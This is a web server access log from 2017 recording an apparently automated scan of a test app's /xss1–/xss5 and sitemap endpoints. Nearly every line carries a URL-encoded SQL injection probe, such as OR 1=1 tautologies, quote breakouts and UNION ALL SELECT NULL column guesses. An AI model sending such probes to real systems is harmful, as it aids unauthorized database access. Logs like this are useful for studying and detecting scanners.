172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query+OR+1%3D1+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k+AND+1%3D1+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query+AND+1%3D2+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query+OR+1%3D1+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k+AND+1%3D2+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%27+AND+%271%27%3D%271%27+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k+OR+1%3D1+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k+AND+1%3D2+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k+OR+1%3D1+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%27+AND+%271%27%3D%271%27+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query+UNION+ALL+select+NULL+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%27+AND+%271%27%3D%272%27+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%27+UNION+ALL+select+NULL+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%27+OR+%271%27%3D%271%27+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%22+UNION+ALL+select+NULL+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%27+AND+%271%27%3D%272%27+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%27+OR+%271%27%3D%271%27+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml?query=query%27%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k+UNION+ALL+select+NULL+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /sitemap.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%27+UNION+ALL+select+NULL+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%22+UNION+ALL+select+NULL+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%29+UNION+ALL+select+NULL+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k%27%29+UNION+ALL+select+NULL+--+&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor+AND+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor+AND+1%3D2+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor+OR+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%27+AND+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%27+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%22+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor%27%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss1?a=k&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=%27&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=%27&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k%27&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=k%27&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=%22&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k%22&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=%22&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=%3B&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=k%22&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k%3B&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=%29&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=%3B&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k%29&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=k%3B&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k+AND+1%3D1+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k+AND+1%3D2+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k+OR+1%3D1+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k+AND+1%3D2+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=%29&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k+OR+1%3D1+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k%27+AND+%271%27%3D%271%27+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k%27+AND+%271%27%3D%272%27+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=k%29&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k%27+OR+%271%27%3D%271%27+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k%27+AND+%271%27%3D%272%27+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k%27+OR+%271%27%3D%271%27+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k+UNION+ALL+select+NULL+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k%27+UNION+ALL+select+NULL+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k%22+UNION+ALL+select+NULL+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k+AND+1%3D1+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k%29+UNION+ALL+select+NULL+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k+AND+1%3D2+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k%27%29+UNION+ALL+select+NULL+--+&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k+OR+1%3D1+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k+AND+1%3D2+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k+OR+1%3D1+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k%27+AND+%271%27%3D%271%27+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k%27+AND+%271%27%3D%272%27+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k%27+OR+%271%27%3D%271%27+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k%27+AND+%271%27%3D%272%27+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k%27+OR+%271%27%3D%271%27+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k+UNION+ALL+select+NULL+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k%27+UNION+ALL+select+NULL+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k%22+UNION+ALL+select+NULL+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k%29+UNION+ALL+select+NULL+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k%27%29+UNION+ALL+select+NULL+--+&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja+AND+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja+AND+1%3D2+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja+OR+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%27+AND+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%27+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%22+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja%27%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss2?a=k&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg+AND+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg+AND+1%3D2+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg+OR+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%27+AND+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%27+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%22+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg%27%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss3?a=k&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=%27&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=%27&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%27&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=%22&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%27&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%22&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=%3B&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%3B&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=%29&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=%22&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%22&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%29&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=%3B&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%3B&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=%29&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k+AND+1%3D1+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k+AND+1%3D2+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k+OR+1%3D1+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%29&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k+AND+1%3D2+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k+OR+1%3D1+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%27+AND+%271%27%3D%271%27+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%27+AND+%271%27%3D%272%27+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%27+OR+%271%27%3D%271%27+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%27+AND+%271%27%3D%272%27+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k+AND+1%3D1+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k+AND+1%3D2+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k+OR+1%3D1+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%27+AND+%271%27%3D%271%27+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%27+OR+%271%27%3D%271%27+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k+UNION+ALL+select+NULL+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%27+UNION+ALL+select+NULL+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%27+AND+%271%27%3D%272%27+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%22+UNION+ALL+select+NULL+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%29+UNION+ALL+select+NULL+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%27+OR+%271%27%3D%271%27+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k%27%29+UNION+ALL+select+NULL+--+&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k+UNION+ALL+select+NULL+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%27+UNION+ALL+select+NULL+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%22+UNION+ALL+select+NULL+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%29+UNION+ALL+select+NULL+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k%27%29+UNION+ALL+select+NULL+--+&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin+AND+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin+AND+1%3D2+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin+OR+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin+AND+1%3D2+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin+OR+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki HTTP/1.1" 200 -
